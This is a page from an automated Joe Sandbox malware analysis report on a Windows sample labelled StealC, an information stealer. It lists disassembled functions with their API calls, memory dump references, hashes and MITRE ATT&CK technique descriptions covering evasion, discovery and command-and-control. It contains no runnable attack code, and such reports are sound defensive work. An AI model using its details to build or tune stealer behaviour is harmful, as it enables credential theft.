CreateFileA.KERNEL32(00BF3AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00BF3AEE,?), ref: 00BF92FC
GetFileSizeEx.KERNEL32(000000FF,00BF3AEE), ref: 00BF9319
CloseHandle.KERNEL32(000000FF), ref: 00BF9327

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: b5700113505235d34fb31ccf1f131258a684f9bd90fe688188d47b67417393a8
Instruction ID: 0eff473c34b7d8f7334fa30c7ff7e4c0c9e828dc28d13dcfb79b1a762e9303a4
Opcode Fuzzy Hash: b5700113505235d34fb31ccf1f131258a684f9bd90fe688188d47b67417393a8
Instruction Fuzzy Hash: 72F04F35E40208BFDB20DFB5DC49FAE77F9EB48710F10C2A4BA51A72C0D6B096058B44

Function 00BFC742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00BFC74E

Part of subcall function 00BFBF9F: __amsg_exit.LIBCMT ref: 00BFBFAF

__getptd.LIBCMT ref: 00BFC765
__amsg_exit.LIBCMT ref: 00BFC773
__updatetlocinfoEx_nolock.LIBCMT ref: 00BFC797

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 90b41280dae49e0e02b082cd3b1201284025ae6461d96d629c4af9f46b39af84
Instruction ID: 8ef5549a9d804962c196f3fdba962e98aa1c1c87a03670b453ddaf8f4a8b7389
Opcode Fuzzy Hash: 90b41280dae49e0e02b082cd3b1201284025ae6461d96d629c4af9f46b39af84
Instruction Fuzzy Hash: F3F06D3290420C9BD725BBB89906B7D7BE0AF00720F2541C9F604AB1D2DB645D88DF5A

Function 00BF4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BF8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00BF8E0B

lstrcat.KERNEL32(?,00000000), ref: 00BF4F7A
lstrcat.KERNEL32(?,00C01070), ref: 00BF4F97
lstrcat.KERNEL32(?,009B89A8), ref: 00BF4FAB
lstrcat.KERNEL32(?,00C01074), ref: 00BF4FBD

Part of subcall function 00BF4910: wsprintfA.USER32 ref: 00BF492C
Part of subcall function 00BF4910: FindFirstFileA.KERNEL32(?,?), ref: 00BF4943

Part of subcall function 00BF4910: StrCmpCA.SHLWAPI(?,00C00FDC), ref: 00BF4971
Part of subcall function 00BF4910: StrCmpCA.SHLWAPI(?,00C00FE0), ref: 00BF4987
Part of subcall function 00BF4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00BF4B7D
Part of subcall function 00BF4910: FindClose.KERNEL32(000000FF), ref: 00BF4B92

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 6b9d31f60ea50429d18f08a55b508ef0c73fc27d396513cf910e1079df16de05
Instruction ID: c075f93ac17242b35815758337b4a01eaf4008b5737d928b4345dee1892586cd
Opcode Fuzzy Hash: 6b9d31f60ea50429d18f08a55b508ef0c73fc27d396513cf910e1079df16de05
Instruction Fuzzy Hash: 57216B769002086BC768FB70DC46EFE73BCAB55700F0445A4B659A7181EEB497CDCB92

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00BF9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00BE45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00BE4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00BF9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00BE6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00BF5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 00BF17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00BF7500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 00BF69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00BF6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 00BE47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 00BF51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Function 00BE1220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41
COMMON